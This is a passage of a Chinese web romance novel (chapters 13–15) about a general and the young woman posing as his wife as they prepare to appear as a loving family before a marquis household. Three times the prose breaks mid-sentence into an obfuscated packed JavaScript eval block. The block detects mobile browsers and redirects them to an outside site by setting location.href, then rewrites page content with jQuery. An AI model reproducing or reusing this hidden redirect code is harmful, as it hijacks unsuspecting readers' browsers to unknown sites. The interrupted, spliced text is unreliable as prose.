一家三口兜兜转转回到家,却见长夏蹲在门口打瞌睡。 柳善因抱着孩子上前观摩几番,不敢打扰。 可等赵留行过来,竟然二话不说就戳了长夏一下,“诶,在这儿呆着作甚?叫别人看去还以为我苛待你,像什么话。困就回屋睡,我几时也没说累了不能歇。” 赵留行这一下戳的很有力道,瞧他分明是在报那天被长夏打自己的私仇。 柳善因惊愕望向赵留行,赵留行躲闪起她的目光。 彼时,长夏从混沌中惊醒,瞧见住家急忙起身揉了揉自己的肩膀。她张口时有些焦急,就像是有什么不好的事发生,“急死我了,二位可算回来了。买个衣裳的事,怎么去了这么久?我就说给二位赁车,瞧这路上一来一回是不是不少耽搁——要我说下回出门,我还是给二位赁辆马车。” 可听了半晌没一句有用的。 赵留行瘪瘪嘴,懒得听长夏啰嗦,抬腿就要往家去。柳善因却在后头温温柔柔地问长夏,“怎么了?你急着在这儿等我们,是出什么事了吗?” 长夏一拍脑袋,这才想起正事来,“是,是出事了。那边来人了。” “那边?”柳善因不明所以。 赵留行惑然回头,“他们还敢来?” “夫妻”两个四目相对,长夏这大喘气着实把人吓得不轻,她摇头,“不是那边,是那边。” 又惹得二人异口同声,“到底是哪边!” 长夏被这夫妻二人的默契吓到,赶忙解释说:“是奉宁侯府那边来的。人在二位走后没多久就来了,说什么也不肯走,都在前院等一日了……怪吓人的。” 赵留行听闻是侯府来人,表现得无动于衷。 柳善因却蹙着眉不知所云,“奉宁侯府?” 可赵留行不知为何,并没解答她的疑惑,反倒是转身不声不响地离去。 长夏看着主家进门的背影,悄悄朝柳善因靠近,在她耳边轻语:“将军的亲生母亲现在是奉宁侯夫人,奉宁侯府是将军母亲在同赵护军和离后再嫁的地方,夫人难道不知道吗?将军没跟您说过吗?” 柳善因头一遭得知这些,她先是摇了摇头,又点了点头。 好在长夏并未在意,她只顾着在柳善因周遭嗅来嗅去,直到盯上柳善因手里的卤肉,她才道了句:“夫人,你拎得什么,好香啊~” “啊,是我们在路上买的卤肉,赵赵将军买了好多,待会儿就分给大家。”柳善因被她岔开了话题,高兴地与之分享。长夏望着柳善因满眼欢喜,“夫人,你人真好。” 可下一秒,温馨的气氛被里头沉闷的呼唤打破,赵留行藏在门内说:“小柳,回家了。” 柳善因抬起头,赶忙应声:“哦好,我这就来——” 13. 第 13 章 前院的老妇许是在厅下坐得太久,这会子已是辗转站去了院中。她抬眸打量起东南边的斗球,心道还是不如侯府那棵长得繁茂,若是栽成罗汉松更好。 老妇思绪越飘越远。 直至望见赵留行与柳善因前后跨门,她才终是回过神来。 与护军府来势汹汹的众人不同,老妇孤身一人瞧见赵留行竟直接唤了声:“三郎——” 赵留行抬起头,面无表情地望向老妇。 老妇是他娘的陪嫁名唤凤南,往前赵留行还在京时,侯夫人想送什么东西,亦或是想传什么话,都是这老妇一趟趟往护军府去,自己却从未亲自来过。 如此,她倒也算看着赵留行长大的。 只是赵留行离京太久,早已对洛阳的人和事变得陌生,所以才在开口时显得淡漠许多,甚至也没再唤出儿时的那声凤姨,他直言:“是侯夫人又有什么事,要你来传话吗?” 赵留行说着走到前厅,将手里的东西一一放下。 凤南此刻将眼神落在柳善因和孩子身上,没能及时回应。赵留行见状同院中的柳善因说:“累了一日,孩子该喂奶了,小柳你去把孩子抱给乳娘吧。” 柳善因举目嗯了一声,临走前还跟凤南颔首告了别。 姑侄俩走了。 凤南重新拉回思绪,追进了前厅。她依旧顾念着往昔情份,开口去问:“这孩子多大了?” “六月有余。”赵留行立在厅前随口作答。 相较起赵家,他对侯府的人并没有敌意,若说更多的,只是些漠然罢了。 凤南点点头,尚有几分欣慰,她说:“竟有半岁了,瞧着媳妇也是个良善的。三郎长大了,既成了家,又立了业,日子会越过越好的。”但这不过都是出于她的私人情感,至于侯府那边什么意思,她不敢妄加揣测。 赵留行听着老妇言语,有些恍惚。看来,凤姨没变,变得是他。 “你过来不会是与我说这些的吧?”赵留行再次发问,凤南摇头说,“自然不是。是夫人叫我来邀三郎今年带着他们娘俩个,和侯府一起到柳堤去过上巳。三郎意下如何?” 凤南和声细语,征求着赵留行的意见。 虽然侯府那边是要她务必请回赵留行,但赵留行若实在不愿,她必是不会强求,余后的问责她便一个人想办法。凤南明了,十几年都未曾好好联系感情,如何叫眼前人一下子就融入那么大一个家。 真是笑话。 若不是当年两边家不像家,又怎会把孩子逼到北庭那荒芜的地方去…… 凤南心疼赵留行,她已然做好了被拒绝的准备。可世事难料,往前一定会严词拒绝的赵留行,居然在今朝应道:“好,我知道了。” “三郎的意思是……要去?”凤南不可思议地确认。 赵留行嗯了一声,没再多言。 “好好,那我这就回去禀告夫人,让侯府过几日派车来接你们。”凤南喜出望外,他似是觉得孩子长大了,有家了,跟从前的事都和解了。 殊不知,赵留行心里想的却是如今与赵家僵持,既然侯府能主动过来相邀,就正巧借着上巳赴会,叫旁的瞧瞧他们两个夫妻恩爱,三口人一家和睦。 以打消那些个别有心思之人的歪主意。 凤南不知眼前人与那女郎是假夫妻,自然看不透其中深意。 该传的话传到了,她也不能再赖着不走。 今日凤南真是在这儿呆够了,便同赵留行说:“时候不早,三郎注意身体,我便不多叨扰。哦对,我从侯府来时给你们带了些春笋,已经叫人放去后厨了,你们记得趁鲜用。别放坏了。” 凤南说罢转头出了前厅。 赵留行却忽而开口唤了声:“凤姨。” 凤南转过头,用长辈慈爱的目光望向厅下的人,“三郎还有何吩咐?” 赵留行这才缓缓吐出一句:“麻烦你了。” 凤南摆摆手,春花恰时轻盈地飘落在了肩头,她朗声道:“唉,没事。” - 送走凤南,赵留行一人环臂站在前厅若有所思。 西去的日头,耀了院中花,赵留行有些犯难,赴会的事是应下了,可夫妻恩爱该如何办呢?很明显他完全不懂该如何与柳善因相处,更别提恩爱了…… 赵留行就这么拎着新买的衣裳,心事重重地往后院去。待到来到几人围坐的凉亭,柳善因他们正将卤肉分得火热,他却心不在焉地随手把衣裳抛给长夏,“记得把这些新衣裳给夫人洗了——” “诶,好嘞。”好在长夏眼疾手快,没叫新衣裳掉在地上。 柳善因偷吃了两口卤肉,没顾上回头瞧。 等她端着自己和赵留行的那份站起身,赵留行就又变回了那副魂不守舍的模样,柳善因不明所以地迎了上去,她问:“赵赵将军,在想什么呢?你要不要尝尝,这家卤肉好好吃啊。” 赵留行不作声,压根没听眼前人在说什么。 柳善因噘起嘴巴,无言对望。 她见眼前人半晌不应,刚打算放弃不再搭理,就又被赵留行用一声浅浅的:“小柳。”给唤了回来。 “赵赵将军是要吃吗?” 柳善因转过头,满脸欢喜地重新捧起油纸包送去。 “不急。” 赵留行却将她的手轻轻推开,二人的视线就这么露了出来。柳善因惘然相顾,谁成想眼前人居然冷不丁冒出一句,“你先叫声夫君听听。” 赵留行说这话的时候面无表情,一心沉浸在自己的思考里。全然没管柳善因,乃至院中人听见这话会有多错愕。 柳善因捧着油纸包哆哆嗦嗦。 她真是不知白吃人家一份卤肉的代价,能这么大,她往后再也不会嘴馋了… 柳善因垂下头有些不知所措,她极难为情地说:“啊?现在吗?不,不太好吧。” 长夏个看热闹不嫌事大的家伙,此刻也不怕赵留行记仇,一个劲地在旁咂舌。 啧啧啧,叫那家伙平日里横行霸道,到了夫人面前还不是得服服帖帖的请求怜爱。 装货! 赵留行听见柳善因这般应答,没想太多,也没去勉强,他只有口无心道是:“哦,不方便吗?那待会儿回屋再叫吧。” 待会儿…… 到屋再叫!? 此话一出,柳善因惶恐难安,乳娘想入非非。 唯长夏一人大失所望。 - 而后,柳善因提心吊胆跟赵留行回了屋,刚才被赵留行那么一闹,弄得她吃肉的好心情也没了。她眼下抱着小侄子呆呆站在门边,不知如何是好。 他适才缘何那样说话? 难不成是侯府那边说了什么? 柳善因想不明白,显得有些无所适从。 赵留行却依旧没觉得有哪里不对,瞧他抚袍坐去桌案倒了杯茶润喉,跟着转头瞧见身后人还傻站着,张口便问:“不把孩子放下吗?” “我这就去放!”柳善因兢兢战战,赵留行却又让她,“顺便把门带上。 “关,关门干嘛?” 现在的柳善因就宛若惊弓之鸟,一惊一乍,惹得赵留行惑然将水盏搁下,反问道:“回屋不应该关门吗?” 柳善因细细一想眼前人说得也没什么不对,便乖乖回身关上了门。转身来到榻边放下小侄子,她便顺势坐了下。 柳善因故意离得赵留行远远的,就是怕他再说些奇怪的话。赵留行却在案前用指腹在杯口转了个圈,思量着开口:“今日凤姨过来,是请我们与侯府一起到柳堤过上巳,我给应了。” 柳善因一边伸手哄着小侄子,一边抬头听赵留行继而说:“所以要麻烦小柳你,到时候带着孩子与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117268|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一同过去在他们面前演出戏。” 赵留行说罢昂首向外望,夕阳的余温温暖着他的脸庞。柳善因这才搞清楚情况,忍不住小声嘀咕道:“原来赵赵将军是因为这个原因才那样的啊……” “你说什么?”赵留行没听清。 柳善因连忙否认:“没什么。” 赵留行点头没多在意,他眼下还是更在意赴会的事,“那上巳节的事?” 误会解除,柳善因也不再有所戒备,她竟胸有成竹的与赵留行承诺,“哦那个呀,不麻烦不麻烦。我现在的任务,不就是要帮赵赵将军演戏吗?赵赵将军放心。包在我身上。” “多谢。”赵留行言谢。 柳善因挠头说:“没事。” 可还没等她缓上口气,赵留行就正身面对起她来,“既然如此,那就先试试叫声夫君。” 赵留行一本正经。 柳善因还是没能躲过得这一劫,她磕磕巴巴张开嘴,仍是叫不出个囫囵的夫君。 “夫……” 彼时,赵留行环臂相望,眼神锋利的好似一个严厉的考官,而柳善因就是他那不争气的笨学生。 柳善因被眼前人这么盯着,瞬间紧张得不知所措,好半天才吐出一个淡淡的君字。她语毕偷偷抬眼偷瞄赵留行,以为能蒙混过关去。 谁知,赵留行竟严苛道:“这样好像不大行,再来。” “还来啊?”柳善因愕然。 天了个地姥娘娘,她又没成过婚,更没这么亲昵的称呼过旁人。第一次称呼的人,居然还是赵赵将军,这不是难为她嘛! 柳善因有些后悔自己方才答应的那么干脆,赵留行却冲他点点,饶是拿出了练兵的气势。瞧着今晚若是不听见眼前人妥帖唤出一声夫君,就决不罢休。 “好吧。”柳善因看赵留行态度坚定,无奈妥协。 她下意识捏住衣角,起身一点一点蓄力,瞧着马上就要成功,却在临到开口时露怯,转而发出了如蚊鸣般的一声:“夫君。”便害羞地坐了回去。 “……” 赵留行陷入沉默。 柳善因看着气氛逐渐尴尬,赶忙低头道歉:“对不起赵赵将军,我这样是不是帮不到你,还会拖累你…” 女郎的自责让赵留行如梦初醒,他收起了自己的执着,慌忙开口:“不是这样的小柳,是我的问题。既然这声夫君喊不出口,那便不喊了。咱们还是想想到时若被人问起你我二人的相遇,该如何言说吧。” “你我二人的相遇?是要编一个吗?”柳善因有些好奇。赵留行说:“差不多。” 一说起编故事,方才还蔫头耷脑的柳善因,瞬间来了精神,“这个我可以!我从前没少在村口听他们讲什么邻村的爱恨,镇里的情仇。咱们也比葫芦画瓢,编出一个就好了呀。” “那你想想。” 赵留行见柳善因的情绪不再低沉,也就放心不少。他坐正了身,想要认真听听眼前人的想法。 柳善因歪起头,把那些年在村口听过的家长里短想了个遍,“嗯…我们不若就这样说是……” “一个威武霸道的少年将军,有次行军路过属下家的村庄,正巧见到属下那明艳动人,倾国倾城的家妹赶来给属下送炊饼,结果被其迷得神魂颠倒,无法自拔,顿时见色起意,与属下家妹共度春宵。谁料一夜过后,他竟忘恩负义,翻脸无情——” “小柳你先等等。” 赵留行蹙眉相望,总觉得哪里不对劲。柳善因惑然回看,“赵赵将军,怎么了?你先别急,我还没讲完呢!” 柳善因兴致勃勃说罢就要继续,吓得赵留行赶忙阻止,“可以了,小柳。不用再说了…你自己听听,这真的像话吗?” 话音落去,柳善因瘪嘴不言,赵留行扶额不语,他甚至有些怀疑眼前人编出这个故事,就是在报复自己! 14. 第 14 章 昨日聊至灯燃夜暗,柳善因与赵留行也没聊出个所以然。 最后也只能说到时临场发挥,随机应变,但赵留行却给柳善因私自定了个霸道规矩——那便是打今日开始,柳善因都不得再唤他赵赵将军,只能唤他夫君。 直到熟练为止。 这不是为难柳善因?可谁叫这是她的“职责”所在,便也不得不应了下。 翌日一早,赵留行休沐已尽,该是到御前上值去。 待到用罢早饭,换了身行头,他同屋里抱娃的柳善因打了声招呼:“小柳,我到宫中上值,后天一早回来。家中若有急事,就让长夏到丰德门传话。” 卯时的小院悠然平静,鸟鸣声声清脆,颤动枝头片片落雨。 柳善因哄着孩子打外望,门外那双眼眸在春光里煜煜,赵留行今日瞧上去精神头极好,但她还是有些许的不安心,“这么快就要去上值了吗?昨天奔波一日,你背上的伤还没好全,不用再歇歇了吗?” 赵留行摇摇头,“一些皮肉伤不打紧。时候不早,我先走了。” “我送送你。”柳善因却追出屋去。 赵留行回过头,收起了向前的步子,没有推拒。 恍惚一瞬两人在廊下对上眼神,就好似一对寻常的夫妻般相互问候,又默契地并肩行上小径。 飞花烂漫里,柳善因垂了眸。 虽说与赵留行碰面不过三两日,但她对眼前人竟不觉得陌生,大抵是她曾将赵留行写给自己的书信读过太多遍,早就将人映在了脑海。行过院门,赵留行腰间斜挎的佩剑叮当作响,他眉宇间的威严似剑上寒霜。 两个人就这么不言不语地去到了府门前,该是作别。 长夏这勤劳的家伙,总是出现的恰到好处,她拎着水桶打远瞧见二人相立,赶忙躲进了近处的柱子边,就这么猫在门后抬头望,悄悄观望。 “路上慢些,小宝跟将军大人再见。”柳善因捏着小侄子的手,朝赵留行挥了挥。 尽管眼前人给她定了规矩,可柳善因也有她的对策。 瞧着从屋里到府外,但凡该说话时,她便不再称呼赵留行,以此来避免唤出那声羞人的夫君。只是赵留行这个犟牛,岂能将她放过? 柳善因的话音落去半晌,赵留行依旧站在原地,还环起了双臂。 “不走吗?上值该迟了。”柳善因有些疑惑。 赵留行偏盯着她说了句:“小柳,是不是忘了些什么?” 柳善因不明所以地回头望向府内,“忘了什么?你是有什么东西忘了带吗?与我说,我帮你去拿。” 赵留行不作声,待到柳善因回过头,眼前人却已俯身和自己只隔了个小宝脑袋那么宽的距离。 柳善因第一次同他离得这样近,一时间竟忘记了该如何呼吸,眼神中全是慌乱。她亦是头一遭瞧得这样清,好个剑眉星目,器宇轩昂,意气风发的儿郎——难怪那郡主能相中他赵留行。 这场面叫一旁偷瞄的长夏瞧去,忍不住敲起了手边的柱子,可是更让她惊讶的还在后头。且瞧赵留行挑眉盯着目光闪烁的柳善因,沉声说道:“叫我。” 柳善因面上羞人答答,心下不由得几声骂。这人还真是严厉,到现在也没忘了那事去,早知就不出来送他了! 柳善因扫视两眼赵留行,却见前人并未有半分要放过自己的意思,那是跟他耗下去?还是乖乖就范呢? 柳善因兀自挣扎。 “小柳,叫我。” 赵留行深沉的声音,就像是给她下了最后通牒。 感觉柳善因若再不乖乖叫出那声夫君,恐怕下一秒便会被他抓到大牢去——柳善因怕啊,宁远将军的恶名,亦是名不虚传的。 那就乖乖就范吧。 “夫君!” 情急之下,柳善因声音洪亮。可她一点不像是称呼夫君的妻,倒像是个报告将军的兵…… 赵留行不管那些,他觉得只要能听见这两个字,就算小有成效。如此柳善因无事喊两声,那到上巳节的时候不就驾轻就熟了? 赵留行甚是胸有成竹。 他在抬手捏了捏小家伙肉乎乎的脸后,起身抛下一句:“走了——”便转身扬长而去。 丝毫未见柳善因烧红了脑袋。 彼之,长夏瞠目而望,她直言:这两口子,真有意思。背着人的时候,原来比人前还猛咧! - 丰德门下,风听和吾雷拦住了赵留行的去路。 “头儿,早啊。”风听笑着挥手。 “早吗?快迟了还早?等着跟亲卫那些家伙交班的时候挨骂吧。” 今日赵留行是在家耽搁了些时间,走上朱雀街时已然卯时三刻有余,他抬头平视起并肩挡在自己面前的高壮儿郎,跟着就伸手怼了风听一下。待到风听哎呦一声弹开,他便二话不说朝宫内走去。 风听的抱怨声在身后起伏,“为什么只打我啊?挡路的又不是只有我!而且头儿你自己不也迟了!” “为什么?因为你最欠打。”吾雷随之说了句风凉话。 “诶?你小子,你跟谁一伙的?昨夜的格食你别忘了是谁请的客——” 风听不服,抬脚追了上去。 三个人就这么齐头行上了夹道,往勋府交班而去。 路上,就算是挨过了赵留行那么多拳头,风听却还是耐不住欠打的性子,依旧喜欢在赵留行面前犯贱。 只瞧他转头瞟了眼神清气爽的赵留行,登时开口啧了两声,“头儿瞧着心情不错,这儿哪像在家挨过打的样?到底有媳妇孩子陪着,就是好得快,不比我们这些断雁与孤鸿呦。” 若不吾雷说他最该打,真是一点也没错怪他。 吾雷在旁瞧着风听那副模样直摇头。 风听却斗胆继续道:“头儿,你快跟我说说,这家里热热乎乎的感觉到底怎么样?是不是白日里一睁眼,都是笑醒的?若不然谁见过头儿上值迟过?头儿哪天不是头一个来?我瞧勋卫里日日迟来的,也就只有那比咱们头儿大两岁,家中却已有二子一女的中郎将喽——” “二子一女的中郎将替你们头儿回了,白日里我在家不是笑醒的,是被我家小女的巴掌扇醒的。你家头儿应该也是一样。” 说话间,一个极其阴郁的声音从三人身后传来,若不是现下天光大亮,三人恐还以为是闹了鬼。 那背后说人坏话的风听最先回眸,他一瞧见官职比赵留行高一阶的勋卫羽林中郎将郑洛均站在自己身后,吓得拉上吾雷连忙逃开,“中郎将,头儿,我们上值去了!” 郑洛均的到来,替赵留行摆脱了风听的纠缠,也帮风听免了顿胖揍。可他面对起风听背后的闲言闲语,不但没恼怪反倒一脸迷茫望向赵留行,“怎么走了?我有说错什么吗?” 郑洛均斯斯文文一脸书生模样,若不是穿着甲衣,谁能想到他是个武将。 说来无奈,勋卫羽林郎多是官宦子弟充当,郑洛均乃户部尚书家的第九子,从小苦读诗书兢兢业业,一日不曾懈怠,可奈何年年科考,年年落榜。 年年落榜,还年年科考。 最后连家中都看不下去,就给谋了个勋卫的差事,在宫中供职。但郑洛均并未放弃自己儿时的梦想,二十一岁的他,仍旧励志要考到耄耋之年去。 赵留行摇头不语,他与郑洛均是老相识了。 甚至可以谈得上是发小之谊,就连他现在的夫人,也与赵留行相熟。只不过,自打赵留行离开家后就和他们失了联系。回京后赵留行听说他俩成了婚,愣是惊讶了许久才接受了这个现实。 两人并肩行路,郑洛均忽而开口:“听他们适才那样说,看来这事是真的。” 赵留行没听懂,“什么是真的?” “就是你为了自己在外娶的媳妇,公然拒了呈王府婚约这事是真的。”郑洛均说着搓了搓衣角边被小闺女蹭上的丹青,“赵三郎,你还真是深藏不漏啊,回京半年竟是一点风声没透。你不跟家里说便罢,连我也藏着掖着。我家那位本来还说你若不喜欢郡主,就把她家五娘介绍给你呢。这下好了,她也不用惦记了。” 洛阳城果然藏不住事。 赵留行冷笑,他哪里是是藏着掖着?他知晓自己有妻有儿这事,比他们早不了半刻。转角走过高墙,赵留行不经意瞥了郑洛均一眼,突然就发出一声诧异的:“郑九郎,你脸色怎么这么难看?” “难看?你说我脸色难看?”郑洛均闻言扯出一丝苦笑,他反过来嘲讽赵留行,“你等着吧,你跟你媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125346|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇再多生几个,到时候脸色就跟我一样难看。” 赵留行不敢接茬,他恍惚想起那日连夜寻找乳娘的自己…… 亦是这般狼狈不堪。 郑洛均瞧他不接茬,又自顾自地说起话来,“这回虽说你拒了家里的婚,搞得有些麻烦。但你能有妻有儿,我也就放心了。我原先还以为你是因为爹娘的事心有芥蒂,对娶妻生子排斥呢。” “没想到,你是闷声干大事。” “不过这成亲啊,就跟做饭是一样的。你得小火慢炖,才能出好味。你呢,以后有什么问题尽管问我,打仗你比我有经验,但这事——我比你有经验。” 郑洛均在赵留行耳边喋喋不休。 他俩从小就是这般,赵留行在院子里练多久的功,他就抱着书本跟赵留行聊上多久。 赵留行甚至全程很少接茬。 此刻,赵留行的心思依旧不在郑洛均的言语上,他没接郑洛均的话,反而开口冲他说:“郑老九,我自回京后,你是不是还没邀请我到你家做客?” 郑洛均惑然望向赵留行,眼神中还带有一丝不敢置信,“谁说的?你难不成忘了,不是我不请,是我请了你压根不来!明明是你拒绝的,怎么现在成了我没邀你?真是好笑。” 赵留行闻言没做解释,只自作主张应了声:“哦,那等后天下值我带着小柳去你家做客。” “?” 郑洛均一脸愕然。 他不解一个人怎么能做到过去这么多年,还跟个木头桩子一样,一点不曾更变?还有……到底谁到别人家做客,是这么通知主人的? 郑洛均心里愤愤,偏在被赵留行按住肩膀时安静如鸡,“怎么样九郎,有问题吗?” 赵留行没别的意思,他只是单纯地想要问问他方不方便。可在郑洛均的眼里瞧他一脸煞气,何以拒绝,郑洛均忙说:“没,没问题。欢迎,欢迎,我家那位早说叫你去了。” “那行,走,上值去吧,这回真迟了。”赵留行得了应允,欣然松手离去。 郑洛均望着赵留行轻松的背影,一头雾水。 原先拒绝做客的是他,如今又要领着妻儿登门的也是他,郑洛均觉得不对劲,却又猜不透眼前人这葫芦里到底卖的什么药…… - 两日匆过,郑洛均下值前跟赵留行再三确定,是不是真的想好到自家做客去。 赵留行嫌他啰嗦,嗯了一声转头就走。 郑洛均便高声直呼:“那我就和内子在家等你,记得把弟妹一并带去——” 可谁成想等他前脚刚到家跟内子何斐真说了这事,赵留行那边就派人来扣了门。 只见府门轻开,土酥板板正正立在门前,看着里头出来的郑家夫妻俩眯眼笑道:“不好意思啊郑郎君,我们将军说今天要跟我们夫人在家犁地,有点抽不开身,特意让小的来跟你们说声抱歉,今日就不过来了。他们明日再来登门拜访。” 土酥说罢就躬身离去。 彼时,赵留行不在面前,郑洛均才敢握着拳头怒骂:“混账赵老三,想一出是一出,他到底想干嘛!” 何斐真却开口劝他,“得了得了,跟他玩了那么多年,他什么个臭脾气你不知晓?明日就明日吧,今日正好孩子们该学字了,你吃完午饭过去教教。” 郑洛均是个惧内的主,何斐真叫他做什么,他便做什么,他赶忙应了声:“好。” 瞧着夫君应声,何斐真侧倚在门前不由好奇说起了闲话,“诶,没想到赵老三个混不吝对媳妇居然挺好的,就是他这是找了个什么样的,在家犁什么地?谁会在家犁地?” 郑洛均摇摇头,他哪知道…… 可何斐真思量半晌,又惊呼起来,“哎呦呦,总不能说的是那事吧?” “啥事?”郑洛均不解。 何斐真见状贴去夫君身旁低语道:“只有累死的牛,没有耕坏的田,就咱俩晚上做的那事。” “啥?不能吧!”郑洛均着实被何斐真的话吓到,“谁白天做这事,成何体统,这么急吗?” 何斐真撇撇嘴,在转身离去前白了郑洛均一眼,她直言:“你懂个甚,人家两个正是干柴烈火的好时候,你以为谁都跟你似的?干什么都循规蹈矩的没情趣——” 15. 第 15 章 半个时辰前,赵留行到家后前院空无一人,没想到回到寝屋也是一样。他跨门将甲衣卸下周遭一片死寂,就好似家中只他一人而已。 赵留行纳起了闷,这两日不在家,是出什么事了? 人都到哪去了? 赵留行不明所以,他换好衣裳打屋里出来,茫茫然往厨房去,隔着老远就听见一群人在后头欢快地说笑。 “夫人你瞧瞧土酥,这时候都不忘偷吃——” “长夏,干什么给夫人告状!吃点枇杷也不行吗?你不知道能吃是福吗!” 然等他露面轻咳两声,众人却噤声回眸,长夏更是一拍脑袋,怎么把他给忘。 她忙道:“三郎君,你回来了。” 回来了?她还知道他回来?瞧着赵留行再不回来,这家里都快没他也行了。 一群人站在厨房旁的空地边笑脸相迎,乳娘见状抱着小家伙朝赵留行走了过去,“小郎君瞧瞧谁回来了?是不是爹爹回来了?高不高兴?来,咱们找爹爹去!” 两日的单身生活,把赵留行又打回了原样。 他瞠目看着小家伙离自己越来越近,身体是止不住的抗拒,可怎么让人家柳善因演戏,自己却能不尽心?他只得硬着头皮把孩子接了过来。 这边当爹的端着孩子笔直站着,那边当娘的撸着袖子回头看去,她一见赵留行脱出就是一句:“赵赵……” 赵留行循声相望,柳善因忽而想起和眼前人的约定,赶忙改口道是:“夫君,你回来了!上值辛苦。” “你们在这儿做什么?” 赵留行端着孩子来到柳善因身边,垂眸朝她周身松软的土地扫视一遍,跟着疑惑了句:“犁…地?” 柳善因虽然瘦小,可她一拿起锄头,就好似有用不完的力气。她听见赵留行这般说,赶忙停下手中的活计,用双手撑着锄头朗声答曰:“是呢,我前日见这块地空着,实在荒废,就想着能不能给利用利用。” “昨晚上我思来想去了一夜,打算把这里翻整翻整,弄出个菜园子。这样赵赵以后…夫君以后就可以吃上我种的新鲜瓜果了!” 柳善因是个闲不住的,从前在家做活做惯了,就是来了洛阳,她也从未想过自己是来享福的。 赵留行一走两日,勤劳的她觉得自己每日都在家里这样闲着不是办法,她也想做些自己力所能及的事,报答报答赵留行。可京城娘子做的那些琴棋诗画,她实在学不来。她便只能干起了她最拿手的事—— 种地。 赵留行似乎不太理解,果蔬这些东西不是出门便能买到,柳善因缘何要自己辛苦劳作?但他看着柳善因兴致勃勃的样子,也并未扫她的兴,只若有所思站着。 柳善因歪起头,看他心事重重的样子,忍不住去问:“怎么了夫君,你是有什么事吗?” 赵留行不忍打断她火热的劲头,下意识道了句:“没什么。”便私自将去郑家做客的事按下不提。 柳善因点了头,髻上灵动的蝴蝶轻轻晃,她粲然一笑,“那夫君就回去歇息吧,我再过会儿便弄完了。” 柳善因一口一个夫君喊的流利,看来赵留行的计划是初见成效了。可殊不知,这亦是柳善因自己在家苦练的结果。 她啊,这几日趁着赵留行不在,可没少冲屋里的木头柱子轻唤夫君。有次被长夏撞上,还以为是她思念赵留行思念得紧,给害了病…… 赵留行没应声,他转头叫了土酥,土酥叼着吃剩的枇杷诧异地指了指自己,“我?将军叫我吗?” 土酥左看了看长夏,右望了望乳娘,不敢确认赵留行叫的是她。赵留行却开口说:“这儿除了你叫土酥,还有人叫这名吗?” 土酥才怯怯地上前,她本以为是赵留行要与她清算偷吃的事,没成想,他说得是到郑家传话的事。而赵留行之所以选她,还不是因为她常溜到街上去,对东街西坊轻车熟路。 二人低声交接罢,赵留行还不放心地追问:“我说的你可记住?切莫走错了人家。” 土酥自信满满,一听说能跑去街上放风,瞬间开心的难以自抑,“自然记住,将军就放心吧。” 柳善因在旁翻弄着脚下土地,撅嘴偷听,却是一无所获。她巴巴望着赵留行,想问是什么事,又不好意思张口,最后也只能作罢。 反正应是不会关于自己吧…… 柳善因默默垂头翻土,她没察觉赵留行在那头将孩子交还给乳娘,正朝她靠近。 直到一双有力的大掌接去了她的锄头,柳善因才恍然抬头与赵留行两两相望,她默而听眼前人对自己说了句:“我来帮你。” “你也会种地吗?”柳善因缓缓松开手,赵留行竟直言:“不会,但你可以教会我。” 话音落去,周遭的人在偷笑,而柳善因却懵懵应了声:“好,我教你。” - “原来你今天和土酥说的是这件事啊——” 晚些时候,地犁完了,长夏等人散去,余剩下柳善因和赵留行两个人席地而坐在菜园子的小土包上,望着自己的劳动成果欣慰笑起。 赵留行跟柳善因坦言了白天的事。 柳善因啃着土酥送来的新鲜枇杷回头看他,“那你今天怎么不和我说呢?菜园子明日再犁也行啊,这样爽了别人的约是不是不太好?” 赵留行不喜欢吃枇杷,随便在篮子里挑了个李子咬了咬,他应声说:“我看你在兴头上,就没想着打扰。说实话见你这么久,还是头一次见你这么有干劲。至于爽约…没什么关系,郑九郎不敢同我计较。明日再去也是一样。” 尽管赵留行这么说,但柳善因还是觉得不妥,她便垂眸搓着掌心粗糙的沙砾小声道:“那我们明日早些去吧,给人家赔个礼?” “都行。”赵留行没有什么意见,他做事向来随心所欲,顺意而为。 柳善因点点头,她举目看着菜园子里一道道证明他们辛勤劳作的印记,忽然怀念起了从前在兰花村耕作的日子,那日子虽然清苦平淡,但什么都在,哥嫂在,良田在,家里的小院也在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133796|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳善因从不觉得自己穷,她觉得自己就是天底下最最富有的人。可祸起一夕,所有的东西都离她而去。 柳善因弯下腰,将下巴抵在膝头轻声问赵留行,“明日要带小宝一起去吗?” 赵留行侧过头,深邃的眼神落在她倔强的脊背上,“不带他能行吗?他可是最黏你,我算是领教过了。” 柳善因闻言想起那日在成衣铺里赵留行的窘迫,不禁哈哈大笑,弄得一旁赵留行莫名其妙地推了推她的肩膀,“你笑什么?” 柳善因怎能承认自己在将他嘲笑,连忙摇头否认说:“没,没笑什么,是吸到了凉气,嗓子难受……” 